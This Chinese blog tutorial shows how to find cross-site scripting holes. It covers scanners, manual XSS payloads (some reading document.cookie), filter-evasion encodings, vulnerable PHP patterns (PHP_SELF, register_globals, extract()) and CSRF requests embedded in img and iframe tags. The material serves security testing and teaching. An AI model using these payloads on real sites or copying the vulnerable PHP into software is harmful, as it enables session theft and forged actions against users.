XSS 专题三 发掘XSS漏洞剖析

一.常用工具

1.1.Acunetix Web Vulnerability Scanner

    商业Web 漏洞扫描程序,检测XSS,SQL,代码执行,目录遍历,网站程序源代码暴露,CRLF Injection.

1.2.XSSDetect

   XSSDetect 微软静态代码分析工具,Visual Studio.NET 的插件

1.3.Ratproxy

  支持Linux操作系统

http://code.google.com/p/ratproxy/

   检测XSS漏洞,SQL注入,文件包含漏洞,目录浏览,

二.人工检查

<script>alert(0)</script>
< > " ' & #
<img/src="javascript:alert('XSS');">
<img src="javascript&#116&#58alert(/XSS/);" >
<table background="javascript:alert(/XSS/)"></table>
"><script >alert(document.cookie)</script>
"><sc<script>ript>alert(document.cookie)</script
<div style="width: expression(alert('XSS'));">
<div style="{ left:expression(alert('xss') ) }">
<img οnerrοr="alert(0)" src=http://xxx.com/> 

如果页面出现排版错误或者JS错误,可能存在XSS

在输入框中输入 

<XSS>"'&

并提交,查看源码,如果连<>都未被转义,存在XSS,

如果被过滤,利用其他形式(标签属性,事件)

2.1  标签属性 触发XSS

比如

<input name="name" value=<?=$query?>>

$query为动态内容,替换成

xss οnmοuseοver=evil_script()

最终渲染后的HTML如下

<input name="name" value=xss onmouse=evil_script()>

2.2 事件 触发XSS

比如

<input type="text" name="address" value="XSSTest">

XSSTest为可控输入源,输入

XSSTest "><script>alert(/XSS/)</script><"

返回

<input type="text" name="address" value="XSSTest "><script>alert(/XSS/)</script><"">

或创建事件处理器

“οnfοcus="alert(/XSS/)

2.3 代码嵌入JavaScript

<script> var test= ' XSSTest ';var id =12; .. </script>

XSSTest为可控输入源,输入

'; alert(/XSS/); var foo='

返回

<script> var test=''; alert(/XSS/); var foo=''; var id=12; ... </script>

2.4.利用浏览器可接受的编码

<scriPT>
<scrip%00ipt>
%253cscript%253e
Expre/******/ssion

三.php XSS

3.1 php4 phpinfo() XSS

Stefan Esser 是研究PHP漏洞的专家,他在MOPB-08-2007提到 ,低版本的php对用户输入的变量没有转义就打印出来.测试代码如下

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

3.2 $_SERVER[PHP_SELF]

$_SERVER['PHP_SELF'] 是PHP 的一个全局变量,代表当前PHP文件相对于网站根目录的位置地址,攻击者可以提交查询代码修改$_SERVER['PHP_SELF']的值,引发XSS漏洞,

<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="submitted" value="1" />
    <input type="submit" value="Submit!" />
</form>

这段代码在很多程序中使用,将其保存为data.php,

访问如下链接

http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

要回避这个漏洞,可以使用htmlentities($_SERVER['PHP_SELF'])替代$_SERVER['PHP_SELF'],这样即使有恶意代码,也会转换为用于显示的HTML代码

3.3 变量覆盖

  1.register_globals=on,该参数在PHP 4.2.0 及以上版本默认为屏蔽,影响PHP如何接收传递过来的参数,如果register_globals打开以后,各种变量都可以被重新注册,

比如以下代码.

<?php
echo $a;
?>

由于$a没有初始化,在register_globals打开的情况下,用户可以轻易地为其赋值,只需

http://127.0.0.1/test.php?a=XSS
如果传递javascript

http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>

 2.extract(),将变量从数组导入到当前符号表中

比如以下代码

<?
$a=1;
extract($_GET);
echo $a;
?>

$a 已被初始化,如果直接访问,输出值为1

http://12.7.0.0.1/test.php?a=XSS
页面输出"XSS",$a被重新赋值

还可以使用

http://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>

3.遍历初始化变量

<?
$a=1;
foreach($_GET as $key => $value){
        $$key=$value;
}
print $a;
print $b;
?>

访问以下链接

http://127.0.0.1/test.php?a=XSS&b=<h1>XSS</h1>

四.CSRF

使用Firebug查看POST参数,记录下post参数

users.php?do=add_confirm&email=1%40cc.....
该CSRF Exploit可以嵌入到HTML的属性

<img src="http://127.0.0.1/admin....">
<iframe src="http://127.0.1/...."></iframe>









评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值